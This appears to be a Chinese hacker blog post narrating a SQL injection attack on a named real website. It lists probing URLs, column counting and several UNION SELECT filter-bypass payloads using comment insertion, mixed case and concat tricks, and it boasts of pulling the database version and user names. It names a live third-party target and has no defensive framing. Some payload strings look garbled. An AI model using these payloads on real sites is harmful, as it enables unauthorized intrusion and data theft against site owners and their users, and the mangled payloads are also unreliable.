突破sql 注入过滤Union+SELECT 继续射下去
前几今天遇到一个bt 的老外注射点:
//ps 此点目前流行的注射工具射不 //
http://cleopatra-sy.com/index.php?content=more_product&id=17

http://cleopatra-sy.com/index.php?content=more_product&id=17 and 1=1 正常
http://cleopatra-sy.com/index.php?content=more_product&id=17 and 1=2 报错
http://cleopatra-sy.com/index.php?content=more_product&id=17 order by 6 正常
http://cleopatra-sy.com/index.php?content=more_product&id=17 order by 7 错误

继续按照常规的手法注射:
http://cleopatra-sy.com/index.php?content=more_product&id=-17+UNION+SELECT+1,2,
3,4,5,6–

错误nnd,过滤 UNION+SELECT 我们来加点特殊的字符看看能不能绕过
http://cleopatra-sy.com/index.php?content=more_product&id=-17+/////!uNiOn//**/
///!sElEcT////**/1,2,3,4,5,6–

悲剧还是绕不过去 - -,于是尝试自己知道的绕过方法继续射…
http://cleopatra-sy.com/index.php?content=more_product&id=-17+/U//n//i//o//*n
//*t/+/s//e//l//e//c//t/+1,2,3,4,5,6–

http://cleopatra-sy.com/index.php?content=more_product&id=-17+concat(u,n,i,o,n)+conca
t(s,e,l,e,c,t)+all+1,2,3,4,5,6–
悲剧还是绕不过去,nnd。找了几个朋友看了还是绕不过去邪恶的过滤啊。要是国内
的站以上几种方法一般都能搞定,老外就是bt。最后实在木有办法了只好去国外的黑
客论坛求助老外帮助。国外php 注射历史悠久手法独特+方法猥琐 射出几率相当高
于是发帖求助了终于有一个黑客回帖了而且轻松的绕过去了。

靠,老外果然牛B 那么继续射

成功得到系统版本、当前数据库用户、用户名
